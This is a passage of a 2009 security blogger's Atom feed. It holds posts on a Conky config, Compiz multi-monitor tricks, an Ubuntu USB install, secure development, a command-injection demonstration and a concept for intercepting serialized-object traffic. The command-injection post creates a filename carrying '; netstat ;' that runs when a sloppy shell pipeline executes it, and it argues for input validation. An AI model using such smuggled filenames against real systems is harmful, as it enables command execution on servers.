/&gt;&lt;br /&gt;${font Lucida Console:size=50}${color1}${time %H:%M}${font Lucida Console:size=20}${color1}${font Lucida Console:size=20}${time :%S}&lt;br /&gt;${font Lucida Console:size=14}${time %a, %B %d, %Y}&lt;br /&gt;${font Lucida Console:size=10}${color white}SYSTEM ${hr 1}${color}&lt;br /&gt;Hostname: $alignr$nodename&lt;br /&gt;Kernel: $alignr$kernel&lt;br /&gt;Uptime: $alignr$uptime&lt;br /&gt;Temp: ${alignr}${acpitemp}C&lt;br /&gt;Load CPU@${freq}MHz ${alignr}${cpugraph cpu1 20,100}&lt;br /&gt;${voffset -20}$loadavg&lt;br /&gt;Processes: ${alignr}$processes ($running_processes running)&lt;br /&gt;&lt;br /&gt;Ram ${alignr}$mem / $memmax ($memperc%)&lt;br /&gt;${membar 4}&lt;br /&gt;&lt;br /&gt;Highest CPU $alignr CPU% MEM%&lt;br /&gt;${top name 1}$alignr${top cpu 1}${top mem 1}&lt;br /&gt;${top name 2}$alignr${top cpu 2}${top mem 2}&lt;br /&gt;${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2}&lt;br /&gt;&lt;br /&gt;Highest MEM $alignr CPU% MEM%&lt;br /&gt;${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1}&lt;br /&gt;${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2}&lt;br /&gt;${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2}&lt;br /&gt;&lt;br /&gt;${color white}Filesystem ${hr 1}${color}&lt;br /&gt;&lt;br /&gt;Root: ${alignr}${fs_free /} / ${fs_size /}&lt;br /&gt;${fs_bar 4 /}&lt;br /&gt;BACKUP: ${alignr}${fs_free /media/sda2} / ${fs_size /media/sda2}&lt;br /&gt;${fs_bar 4 /media/sda2}&lt;br /&gt;PSP: ${alignr}${fs_free /media/sda5} / ${fs_size /media/sda5}&lt;br /&gt;${fs_bar 4 /media/sda5}&lt;br /&gt;MUSIC: ${alignr}${fs_free /media/sda6} / ${fs_size /media/sda6}&lt;br /&gt;${fs_bar 4 /media/sda6}&lt;br /&gt;&lt;br /&gt;${color white}NETWORK ${hr 1}${color}&lt;br /&gt;&lt;br /&gt;IP address: $alignr ${addr wlan0}&lt;br /&gt;Connection quality: $alignr ${wireless_link_qual_perc wlan0}%&lt;br /&gt;&lt;br /&gt;Down ${downspeed wlan0} ${alignr}Up ${upspeed wlan0}&lt;br /&gt;${downspeedgraph wlan0 25,107} ${alignr}${upspeedgraph wlan0 25,107}&lt;br /&gt;Total ${totaldown wlan0} ${alignr}Total ${totalup wlan0}&lt;br /&gt;&lt;br /&gt;${color white}World Time ${hr 1}${color}&lt;br /&gt;&lt;br /&gt;${color}Seattle $alignr${color2}${tztime America/Vancouver %I}:${tztime America/Vancouver %M}${tztime America/Vancouver %p}&lt;br /&gt;${color}New York $alignr${color2}${tztime America/New_York %I}:${tztime America/New_York %M}${tztime America/New_York %p}&lt;br /&gt;${color}London $alignr${color2}${tztime Europe/London %I}:${tztime Europe/London %M}${tztime Europe/London %p}&lt;br /&gt;${color}Bangalore $alignr${color2}${tztime Asia/Calcutta %I}:${tztime Asia/Calcutta %M}${tztime Asia/Calcutta %p}&lt;br /&gt;${color}Hong Kong $alignr${color2}${tztime Asia/Hong_Kong %I}:${tztime Asia/Hong_Kong %M}${tztime Asia/Hong_Kong %p}&lt;br /&gt;${color}Tokyo $alignr${color2}${tztime Asia/Tokyo %I}:${tztime Asia/Tokyo %M}${tztime Asia/Tokyo %p}&lt;br /&gt;&lt;br /&gt;${color white}Weather ${hr 1}${color}&lt;br /&gt;&lt;br /&gt;${font}$alignr ${execi 300 conkyForecast --location=INXX0012 --datatype=CN}, ${execi 300 conkyForecast --location=INXX0012 --datatype=CO}&lt;br /&gt;$alignr Last Update: ${execi 300 conkyForecast --location=INXX0012 --hideunits --datatype=LU -m 0}&lt;br /&gt;${voffset -40}${color #a6a6a6}${font ConkyWeather:size=85}${execi 300 conkyForecast --location=INXX0012 --datatype=WF}$color&lt;br /&gt;$font${voffset -167}${alignr}Wind: ${execi 300 conkyForecast --location=INXX0012 --datatype=WS} ${execi 300 conkyForecast --datatype=WD}&lt;br /&gt;${alignr}Humidity: ${execi 300 conkyForecast --location=INXX0012 --datatype=HM}&lt;br /&gt;${alignr}Precipitation: ${execi 300 conkyForecast --location=INXX0012 --startday=0 --datatype=PC}&lt;br /&gt;${alignr}Sunrise: ${execi 300 conkyForecast --location=INXX0012 --datatype=SR}&lt;br /&gt;${alignr}Sunset: ${execi 300 conkyForecast --location=INXX0012 --datatype=SS}&lt;br /&gt;${alignc 30}${execi 300 conkyForecast --location=INXX0012 --datatype=CT}: ${execi 300 conkyForecast --location=INXX0012 --hideunits --datatype=HT} $font $alignr Feels Like: ${execi 300 conkyForecast --location=INXX0012 --datatype=LT}&lt;br /&gt;&lt;br /&gt;${alignc 7}${execi 300 conkyForecast --location=INXX0012 --startday=0 --endday=4 --spaces=12 --datatype=DW -w}&lt;br /&gt;${color #a6a6a6}${font ConkyWeather:size=26}${execi 300 conkyForecast --location=INXX0012 --spaces=2 --startday=0 --endday=4 --centeredwidth=1 --datatype=WF}$font$color&lt;br /&gt;${alignc 110}${execi 300 conkyForecast --location=INXX0012 --startday=0 --hideunits --datatype=HT}/${execi 300 conkyForecast --location=INXX0012 --startday=0 --hideunits --datatype=LT}${alignc 0}${execi 300 conkyForecast --location=INXX0012 --startday=1 --hideunits --datatype=HT}/${execi 300 conkyForecast --startday=1 --hideunits --location=INXX0012 --datatype=LT}${alignc -40}${execi 300 conkyForecast --startday=2 --hideunits --location=INXX0012 --datatype=HT}/${execi 300 conkyForecast --location=INXX0012 --startday=2 --hideunits --datatype=LT}${alignc -75}${execi 300 conkyForecast --hideunits --location=INXX0012 --startday=3 --datatype=HT}/${execi 300 conkyForecast --location=INXX0012 --startday=3 --hideunits --datatype=LT}${alignc -105}${execi 300 conkyForecast --location=INXX0012 --startday=4 --hideunits --datatype=HT}/${execi 300 conkyForecast --location=INXX0012 --startday=4 --hideunits --datatype=LT}&lt;br /&gt;$alignc${execi 300 conkyForecast --location=INXX0012 --startday=0 --endday=4 --spaces=11 --datatype=PC}&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-4342015662752225979?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/4342015662752225979/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/11/conky-and-compiz-on-my-multi-monitor.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4342015662752225979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4342015662752225979'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/11/conky-and-compiz-on-my-multi-monitor.html' title='Conky and compiz on my multi monitor setup'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_YQCDsDRqeQI/SwwzNeKxspI/AAAAAAAAABw/zTkIc3618rM/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-4822999051516256726</id><published>2009-11-15T01:09:00.000-08:00</published><updated>2009-11-15T02:18:42.737-08:00</updated><title type='text'>How to enable compiz on multiple display (adding my ubuntu forum post)</title><content type='html'>For multiple monitor setups, here's the trick to get the compiz,&lt;br /&gt;&lt;br /&gt;Check the  GL_MAX_TEXTURE_SIZE using&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;glxinfo -l | grep GL_MAX_TEXTURE_SIZE&lt;/pre&gt; &lt;/div&gt;Mine was 2048, Now we want a horizontal resolution higher than 2048 in compiz. We can just tell compiz to ignore this limitation. BUt I did it the dirty way by changing /usr/bin/compiz script:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;sudo vi /usr/bin/compiz&lt;/pre&gt; &lt;/div&gt;Here I commented the line, TEXTURE_LIMIT=.&lt;something&gt;... and added TEXTURE_LIMIT=2944.&lt;br /&gt;&lt;br /&gt;Now enable compiz with Appearance settings in ubuntu. The wallpaper will be redrawn, Hence we must enable wallpaper compiz plugin from CCSM (compizconfig setting manager).&lt;br /&gt;&lt;br /&gt;But to enable wallpaper plugin we must disable nautilus desktop from gconf editor. I used this trick from tombuntu:&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 66px; text-align: left;"&gt;Launch the Run Application dialog with Alt-F2&lt;br /&gt;and run gconf-editor.&lt;br /&gt;Navigate to apps-&gt;nautilus-&gt;preferences&lt;br /&gt;and unselect the show_desktop option.&lt;br /&gt;Your desktop icons should disappear.&lt;br /&gt;Now enable the wallpaper plugin from CCSM&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;Now just add the lines as commands to compiz and enjoy&lt;br /&gt;&lt;br /&gt;My setup is&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 114px; text-align: left;"&gt;[TV connected to laptop via VGA]&lt;br /&gt;__________     ___________&lt;br /&gt;|1024x768|     |1920x1080|&lt;br /&gt;| laptop |----&gt;| display |&lt;br /&gt;|________|     |_________|&lt;br /&gt;/________/&lt;/pre&gt; &lt;/div&gt;win+1  --&gt; move to laptop display&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;bash -c "wmctrl -r :ACTIVE: -b remove,maximized_horz &amp;amp;&amp;amp; wmctrl -r&lt;br /&gt;:ACTIVE: -b remove,maximized_vert ;wmctrl -r :ACTIVE: -e 0,0,0,1024,768"&lt;/pre&gt; &lt;/div&gt;win+2  --&gt; move to VGA left half display (external monitor)&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;bash -c "wmctrl -r :ACTIVE: -b remove,maximized_horz &amp;amp;&amp;amp; wmctrl -r&lt;br /&gt;:ACTIVE: -b remove,maximized_vert ;wmctrl -r :ACTIVE: -e 0,1025,0,960,1080"&lt;/pre&gt; &lt;/div&gt;win+3  --&gt; move to VGA right half display (external monitor)&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;bash -c "wmctrl -r :ACTIVE: -b remove,maximized_horz &amp;amp;&amp;amp; wmctrl -r&lt;br /&gt;:ACTIVE: -b remove,maximized_vert ;wmctrl -r :ACTIVE: -e 0,1985,0,960,1080"&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;want win+3 --&gt; restore to original pos (does not work sometimes)&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;bash -c "wmctrl -r :ACTIVE: -b toggle,maximized_vert &amp;amp;&amp;amp; wmctrl -r&lt;br /&gt;:ACTIVE: -b toggle,maximized_horz;"&lt;/pre&gt; &lt;/div&gt;&lt;/something&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-4822999051516256726?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/4822999051516256726/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/11/how-to-enable-compiz-on-multiple.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4822999051516256726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4822999051516256726'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/11/how-to-enable-compiz-on-multiple.html' title='How to enable compiz on multiple display (adding my ubuntu forum post)'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-4402323853578042243</id><published>2009-09-30T11:01:00.003-07:00</published><updated>2009-09-30T11:01:58.865-07:00</updated><title type='text'>Ubuntu usb disk install with broadcom bm4318 drivers and Xorg tweak</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I just created a rescue / work thumb drive for by laptop. I used the ubuntu usb startup disk creator. Since I already have a working ubuntu, I also made my wifi card firmware for ubuntu available to my ubuntu startup disk (Pendrive).&lt;br/&gt;&lt;br/&gt;you must download the ubuntu iso image from &lt;a href='http://www.ubuntu.com/GetUbuntu/download' target='_blank'&gt;here&lt;/a&gt; (opens in a new page)&lt;br/&gt;&lt;br/&gt;step 1:&lt;br/&gt;The candidate for this experiment was my old 1Gb pendrive (Kingston). Format this to fat32. I used gparted for the same.&lt;br/&gt;&lt;br/&gt;step 2. Start usb disk creator from ubuntu menu:&lt;br/&gt;    System--&amp;gt; Adminstration --&amp;gt; Usb Startup disk creator.&lt;br/&gt;&lt;br/&gt;Select the iso image and pendrive details (settings stored in reserved extra space (150 mb)), and press 'Make Startup disk' button.&lt;br/&gt;&lt;br/&gt;step 3. Once step2 is complete, reboot from your usb.&lt;br/&gt;&lt;br/&gt;Step 4. Now ubuntu (USB) should boot, once it is done, mount your linux partition. (From Places--&amp;gt;Removable Media --&amp;gt; your linux partion)&lt;br/&gt;Mine is mounted in /media/sda1&lt;br/&gt;&lt;br/&gt;Step 5. Copy the contents from /media/sda1/lib/firmware/ to your /lib/firmware/&lt;br/&gt;&lt;big&gt;&lt;font face='monospace'&gt;   $ sudo cp /media/sda1/lib/firmware/  /lib/firmware/&lt;/font&gt;&lt;/big&gt;&lt;br/&gt;&lt;br/&gt;Step 6. Start System--&amp;gt; Adminstration --&amp;gt;Hardware Drivers and click on activate. It should now activate your wifi drivers copied from the firmware directory. ifnot, try deactivating and activating the driver by:&lt;br/&gt;&lt;big&gt;&lt;font face='monospace'&gt;    $ sudo rmmod b43&lt;br/&gt;    $ sudo modprobe b43legacy&lt;/font&gt;&lt;/big&gt;&lt;br/&gt;&lt;br/&gt;Step 7. If you use multiple head laptop setup, configure a init.d job to restore the xorg.conf file.&lt;br/&gt;             &lt;font face='monospace'&gt; $ sudo cp &lt;big&gt;/media/sda1/etc/X11/xorg.conf /etc/xorg.conf.dualHead&lt;br/&gt;         $ sudo echo "#!/bin/bash;cp &lt;/big&gt;&lt;big&gt;/etc/xorg.conf.dualHead &lt;/big&gt;&lt;big&gt;/etc/xorg.conf;" &amp;gt; &lt;/big&gt; /etc/init.d/restoreXorgConf&lt;br/&gt;&lt;big&gt;         $ sudo chmod +x &lt;/big&gt;&lt;big&gt; &lt;/big&gt; /etc/init.d/restoreXorgConf&lt;big&gt;; &lt;/big&gt;sudo ln -s /etc/init.d/restoreXorgConf /etc/rc2.d/S29resetXorgConf&lt;br/&gt;&lt;/font&gt;Step 8. Reboot&lt;br/&gt;&lt;br/&gt; &lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=b6fff273-2438-8922-8ca4-92633aea9d5f' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-4402323853578042243?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/4402323853578042243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/09/ubuntu-usb-disk-install-with-broadcom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4402323853578042243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4402323853578042243'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/09/ubuntu-usb-disk-install-with-broadcom.html' title='Ubuntu usb disk install with broadcom bm4318 drivers and Xorg tweak'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-5992137374504620135</id><published>2009-09-27T05:52:00.000-07:00</published><updated>2009-09-27T06:17:41.175-07:00</updated><title type='text'>How security companies certify produts</title><content type='html'>We see all over the place, web facing payment applications. We buy everything online these days. Even in India, I don't remember the last time I got any tickets from a physical reservation window. We pay bills, buy groceries, transfer money, trade shares, manage savings, plan travel, etc etc over online systems which to the naked eye look safe. Now the question is how many of these are actually safe. Well, that is something subjective, but let me tell you this; Most companies spend less that 1% of the total development / deployment and maintinance cost on security. And most of this 1% is spent on generic systems, which protect network, firewall and maintain DMZs, Unix accounts, physical security.&lt;br /&gt;&lt;br /&gt;But we as an industry do not spend on the security of the actual product. Don't get me wrong here, the money spent in security is necessary, but we must closely look at how we certify our products (web facing  / Internet applications). In this blog, (over some parts) I'll try to enumrate security controls in our applications, and where are the loop holes.&lt;br /&gt;&lt;br /&gt;1. Blacklisting Parameters: I see code all the time, a lot of it in most cases is of web facing apps. What I see that I do not like? Well, till now (even in modern spring and strusts frameworks) most models of SDLC still depend on blacklisting parameters, this is because security in most cases is an afterthought. Architects (and security experts) have come to accept the afterthought model of security. The problem is that repetative model of development does not improve security. But why is the practice not stopped, well lack of evidence. Most development model favour towards automated tests, this means that the art of hacking get compromised to an excercise in test case execution, completly ignoring context of the application.&lt;br /&gt;&lt;br /&gt;Now I got to go, and do better things than ranting. I'll get back to the subject of the blog, once I get back to writing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-5992137374504620135?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/5992137374504620135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/09/how-security-companies-certify-produts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/5992137374504620135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/5992137374504620135'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/09/how-security-companies-certify-produts.html' title='How security companies certify produts'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-8638948957275443135</id><published>2009-09-26T02:20:00.000-07:00</published><updated>2009-09-26T02:49:59.913-07:00</updated><title type='text'>Log forging, logic bombs and Command injection ??</title><content type='html'>Developers  think that log forging was not as dangerous as command injection. Often an application log name can be changed by the vary many types of parameter tampering. But these bugs are marked as medium risk. However we take the premise that the application will never execute the logs, hence it is not directly exploitable. But how many of us look at the automation associated with a production environment when we audit applications.&lt;br /&gt;&lt;br /&gt;More often, production applications are manned by Unix admins who put cheap and dirty shell pipes and scripts to archive / search / list the log files. No one reviews those set of cheap and dirty automations. Where I am getting at? lets see..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Assume that I have a file system, where I want to find out specific types of files (Just an example), so I write a dirty automation like below:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;~$&gt; ls -falrt | grep -v "drwx"  | awk {'if ($8 != NULL) {print "file " $8 $9}'} | sh | grep -i png&lt;/blockquote&gt;now, one would thing the above command, which does the following steps:&lt;br /&gt;1. list files&lt;br /&gt;2. greps out directories&lt;br /&gt;3. awk for file names (which are not null). And creates the 'file &lt;file_name&gt;' command&lt;br /&gt;4. shell to execute the above&lt;br /&gt;5. Grep for png images.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;what would happen, if I don't input validate filenames? understand that unix support the complete ascii char set for file naming, so a filename like ;netstat; is completely valid and possible (by a log tampering vulnerability).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;~$&gt; touch \;\ &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;netstat&lt;/span&gt;\ \;&lt;/blockquote&gt;so what happens when i run the previous dirty script? Well I just accidentally trigger &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;netstat&lt;/span&gt; command. Obviously there are other royal ways to screw people that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;netstat&lt;/span&gt;.Imagine what is possible with root binaries / &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;cron&lt;/span&gt; jobs etc.&lt;br /&gt;&lt;br /&gt;Now the question is how to check this? Just input validate everything that is created on your production server. And deploy better tested shell scripts.&lt;br /&gt;&lt;/file_name&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-8638948957275443135?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/8638948957275443135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/09/log-forging-logic-bombs-and-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8638948957275443135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8638948957275443135'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/09/log-forging-logic-bombs-and-command.html' title='Log forging, logic bombs and Command injection ??'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-4822591856452602060</id><published>2009-05-18T04:31:00.000-07:00</published><updated>2009-05-18T04:39:21.260-07:00</updated><title type='text'>Pentesting serial object (SO) applications like smartclients :: IN CONCEPT</title><content type='html'>&lt;a name="_Toc227485725"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Lets address the problem of serial object communication in web applications using the sniff and edit method. The problem with using a servlet to cast objects is that the request can’t be kept in motion for server and client to interpret. &lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;div class="Section1"&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YQCDsDRqeQI/ShFIZ63wCfI/AAAAAAAAAAs/kX4zr7DBwfE/s1600-h/smartClient.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 239px; height: 400px;" src="http://3.bp.blogspot.com/_YQCDsDRqeQI/ShFIZ63wCfI/AAAAAAAAAAs/kX4zr7DBwfE/s400/smartClient.JPG" alt="" id="BLOGGER_PHOTO_ID_5337126643547769330" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;One look at the request header:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Content-Type: &lt;span style="background: yellow none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;application/octet-stream&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;This stream data must be cast to an object to retrieve and edit data.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;To capture the request and response there is the old /etc/hosts and reverse proxy trick, to fool the smart client to point to a local running reverse proxy. This will still not interpret the serial object from the client. We need some bean shell code to offset this odd.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YQCDsDRqeQI/ShFIkxLsrXI/AAAAAAAAAA0/CVQAt2suTOg/s1600-h/smartClient1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 118px;" src="http://3.bp.blogspot.com/_YQCDsDRqeQI/ShFIkxLsrXI/AAAAAAAAAA0/CVQAt2suTOg/s400/smartClient1.JPG" alt="" id="BLOGGER_PHOTO_ID_5337126829925641586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;The solution is to modify web scarab to function as an object decoder and reverse proxy. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;So creating a new transparent layer with reverse proxy setup is a solution to testing SO objects.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 